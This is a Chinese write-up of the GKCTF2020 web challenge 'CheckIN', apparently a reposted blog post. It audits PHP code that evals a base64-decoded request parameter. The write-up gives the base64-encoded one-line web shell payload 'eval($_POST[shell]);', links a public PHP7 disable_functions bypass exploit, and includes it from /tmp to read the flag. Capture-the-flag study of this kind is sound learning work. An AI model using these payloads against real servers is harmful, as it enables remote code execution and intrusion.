GKCTF2020 - Web(CheckIN)

CheckIN

题目,代码审计:

<?php 
highlight_file(__FILE__);
class ClassName
{
    
    
        public $code = null;
        public $decode = null;
        function __construct()
        {
    
    
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
    
    
                return $_REQUEST;
        }
}
new ClassName();

给变量Ginkgo传入参数,进行base64解码,然后eval执行。

phpinfo(); -->cGhwaW5mbygpOw==(base64)

在这里插入图片描述
开始的时候想着利用命令执行,结果发现phpinfo中把命令执行函数都过滤了:
在这里插入图片描述
eval没有过滤,意思就是写一句话木马,然后蚁剑连接。

?Ginkgo=eval($_POST[shell]);
?Ginkgo=ZXZhbCgkX1BPU1Rbc2hlbGxdKTs=

注意的是,这里直接通过eval执行代码,所以不能构造<?php >的一句话木马。

编码选base64,连接:
在这里插入图片描述
flag权限为0700,没有读的权限。
在这里插入图片描述
readflag权限高,但是打开:
在这里插入图片描述
enen…

在kali searchspolit中可以找到:
在这里插入图片描述
版本漏洞。

当然网上也有:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

进行一下修改:
在这里插入图片描述
然后上传到/tmp目录下,通过文件包含,执行代码:
在这里插入图片描述

执行:

?Ginkgo=include('/tmp/1.php');
?Ginkgo=aW5jbHVkZSgnL3RtcC8xLnBocCcpOw==

总结

考点:通过参数执行命令(没啥好说的)。

通过phpinfo查看一些信息。

通过版本漏洞和已有的POC获得flag。(这一点不是很容易想的到,个人观点)。

flag本身没有很高的权限,readflag是一个突破口。

上传目录是tmp,因为该目录权限较低。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114899711